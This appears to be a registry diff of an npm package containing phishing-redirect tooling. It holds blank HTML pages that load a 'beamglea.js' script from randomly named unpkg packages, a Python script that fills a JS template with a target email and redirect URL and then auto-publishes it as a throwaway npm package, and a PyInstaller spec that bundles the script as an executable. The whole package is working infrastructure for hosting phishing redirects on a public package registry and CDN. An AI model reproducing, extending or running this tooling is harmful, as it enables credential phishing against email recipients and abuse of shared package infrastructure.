redirect-fd91u6 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,13 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <meta name="html-meta" content="nb830r6x">
7
+ <title></title>
8
+ </head>
9
+ <body>
10
+ <div class="appcontainer"></div>
11
+ <script src="https://unpkg.com/redirect-r0ajvl@1.0.0/beamglea.js"></script>
12
+ </body>
13
+ </html>
@@ -0,0 +1,13 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <meta name="html-meta" content="nb830r6x">
7
+ <title></title>
8
+ </head>
9
+ <body>
10
+ <div class="appcontainer"></div>
11
+ <script src="https://unpkg.com/redirect-ystrj5@1.0.0/beamglea.js"></script>
12
+ </body>
13
+ </html>
package/output.html ADDED
@@ -0,0 +1,13 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <meta name="html-meta" content="nb830r6x">
7
+ <title></title>
8
+ </head>
9
+ <body>
10
+ <div class="appcontainer"></div>
11
+ <script src="https://unpkg.com/redirect-homer-flajpt@1.0.3/beamglea.js"></script>
12
+ </body>
13
+ </html>
package/package.json ADDED
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "redirect-fd91u6",
3
+ "version": "1.0.0",
4
+ "main": "beamglea.js"
5
+ }
package/python ADDED
File without changes
@@ -0,0 +1,165 @@
1
+ import os
2
+ import json
3
+ import subprocess
4
+ import sys
5
+ import random
6
+ import string
7
+
8
+ NPM_CMD_PATH = r"C:\Program Files\nodejs\npm.cmd" # Adjust if needed
9
+
10
+ def get_resource_path(relative_path):
11
+ """Get absolute path to resource, works for dev and PyInstaller bundled exe."""
12
+ try:
13
+ base_path = sys._MEIPASS
14
+ except Exception:
15
+ base_path = os.path.abspath(".")
16
+
17
+ return os.path.join(base_path, relative_path)
18
+
19
+ def run_cmd(cmd, input_text=None):
20
+ # Automatically fix 'npm' calls
21
+ if cmd[0] == "npm":
22
+ cmd[0] = NPM_CMD_PATH
23
+
24
+ try:
25
+ result = subprocess.run(
26
+ cmd,
27
+ input=input_text if input_text else None,
28
+ text=True,
29
+ capture_output=True,
30
+ check=True
31
+ )
32
+ return result.stdout.strip()
33
+ except subprocess.CalledProcessError as e:
34
+ print("❌ Command failed:", e.stderr.strip())
35
+ sys.exit(1)
36
+ except FileNotFoundError:
37
+ print(f"❌ Command not found: {cmd[0]}")
38
+ sys.exit(1)
39
+
40
+ def npm_logged_in():
41
+ try:
42
+ result = subprocess.run(
43
+ [NPM_CMD_PATH, "whoami"],
44
+ capture_output=True,
45
+ text=True,
46
+ check=True
47
+ )
48
+ return result.stdout.strip()
49
+ except FileNotFoundError:
50
+ print(f"❌ Cannot find npm at {NPM_CMD_PATH}.")
51
+ return None
52
+ except subprocess.CalledProcessError:
53
+ return None
54
+
55
+ def generate_random_package_name(prefix="redirect-"):
56
+ suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
57
+ return prefix + suffix
58
+
59
+ def load_template(path):
60
+ actual_path = get_resource_path(path)
61
+ if not os.path.exists(actual_path):
62
+ print(f"❌ Template file '{actual_path}' not found.")
63
+ sys.exit(1)
64
+ with open(actual_path, "r", encoding="utf-8") as f:
65
+ return f.read()
66
+
67
+ def bump_version(old_version):
68
+ parts = old_version.split(".")
69
+ parts[-1] = str(int(parts[-1]) + 1)
70
+ return ".".join(parts)
71
+
72
+ # === 1. Inputs ===
73
+ template_path = input("Enter path to JS template (e.g. beamglea_template.js) [default: beamglea_template.js]: ").strip()
74
+ if not template_path:
75
+ template_path = "beamglea_template.js"
76
+
77
+ email = input("Enter the email: ").strip()
78
+ redirect_url = input("Enter the redirect URL: ").strip()
79
+
80
+ # === 2. Process Template ===
81
+ template_js = load_template(template_path)
82
+ final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
83
+
84
+ with open("beamglea.js", "w", encoding="utf-8") as f:
85
+ f.write(final_js)
86
+
87
+ print("✅ beamglea.js created from template")
88
+
89
+ # === 3. Ensure NPM Login ===
90
+ npm_user = npm_logged_in()
91
+ if not npm_user:
92
+ print("🔑 You are not logged in to npm. Please enter your credentials:")
93
+ npm_username = input("NPM Username: ")
94
+ npm_password = input("NPM Password: ")
95
+ npm_email = input("NPM Email: ")
96
+
97
+ login_input = f"{npm_username}\n{npm_password}\n{npm_email}\n"
98
+ run_cmd(["npm", "login"], input_text=login_input)
99
+
100
+ npm_user = npm_logged_in()
101
+
102
+ print(f"✅ Logged in as {npm_user}")
103
+
104
+ # === 4. Create Package ===
105
+ package_name = generate_random_package_name()
106
+ package_json_path = "package.json"
107
+ initial_version = "1.0.0"
108
+
109
+ if os.path.exists(package_json_path):
110
+ with open(package_json_path, "r", encoding="utf-8") as f:
111
+ existing_package = json.load(f)
112
+ if existing_package.get("name") == package_name:
113
+ initial_version = bump_version(existing_package.get("version", "1.0.0"))
114
+
115
+ package_json = {
116
+ "name": package_name,
117
+ "version": initial_version,
118
+ "main": "beamglea.js"
119
+ }
120
+
121
+ with open(package_json_path, "w", encoding="utf-8") as f:
122
+ json.dump(package_json, f, indent=4)
123
+
124
+ # === 5. Publish to NPM ===
125
+ print("📦 Publishing to npm...")
126
+ try:
127
+ run_cmd(["npm", "publish", "--access", "public"])
128
+ except SystemExit:
129
+ print("⚠️ Trying to bump version and retry...")
130
+ with open(package_json_path, "r", encoding="utf-8") as f:
131
+ pj = json.load(f)
132
+ pj["version"] = bump_version(pj["version"])
133
+ with open(package_json_path, "w", encoding="utf-8") as f:
134
+ json.dump(pj, f, indent=4)
135
+ run_cmd(["npm", "publish", "--access", "public"])
136
+
137
+ print("✅ Package published!")
138
+
139
+ # === 6. Generate redirect.html ===
140
+ package_version = package_json["version"]
141
+ cdn_url = f"https://unpkg.com/{package_name}@{package_version}/beamglea.js"
142
+
143
+ html_content = f"""<!DOCTYPE html>
144
+ <html lang="en">
145
+ <head>
146
+ <meta charset="UTF-8">
147
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
148
+ <meta name="html-meta" content="nb830r6x">
149
+ <title></title>
150
+ </head>
151
+ <body>
152
+ <div class="appcontainer"></div>
153
+ <script src="{cdn_url}"></script>
154
+ </body>
155
+ </html>
156
+ """
157
+
158
+ output_dir = "output"
159
+ os.makedirs(output_dir, exist_ok=True)
160
+
161
+ with open(os.path.join(output_dir, "redirect.html"), "w", encoding="utf-8") as f:
162
+ f.write(html_content)
163
+
164
+ print(f"✅ redirect.html generated in '{output_dir}/'")
165
+ print(f"🌐 JS CDN: {cdn_url}")
@@ -0,0 +1,38 @@
1
+ # -*- mode: python ; coding: utf-8 -*-
2
+
3
+
4
+ a = Analysis(
5
+ ['redirect_generator.py'],
6
+ pathex=[],
7
+ binaries=[],
8
+ datas=[('beamglea_template.js', '.')],
9
+ hiddenimports=[],
10
+ hookspath=[],
11
+ hooksconfig={},
12
+ runtime_hooks=[],
13
+ excludes=[],
14
+ noarchive=False,
15
+ optimize=0,
16
+ )
17
+ pyz = PYZ(a.pure)
18
+
19
+ exe = EXE(
20
+ pyz,
21
+ a.scripts,
22
+ a.binaries,
23
+ a.datas,
24
+ [],
25
+ name='redirect_generator',
26
+ debug=False,
27
+ bootloader_ignore_signals=False,
28
+ strip=False,
29
+ upx=True,
30
+ upx_exclude=[],
31
+ runtime_tmpdir=None,
32
+ console=True,
33
+ disable_windowed_traceback=False,
34
+ argv_emulation=False,
35
+ target_arch=None,
36
+ codesign_identity=None,
37
+ entitlements_file=None,
38
+ )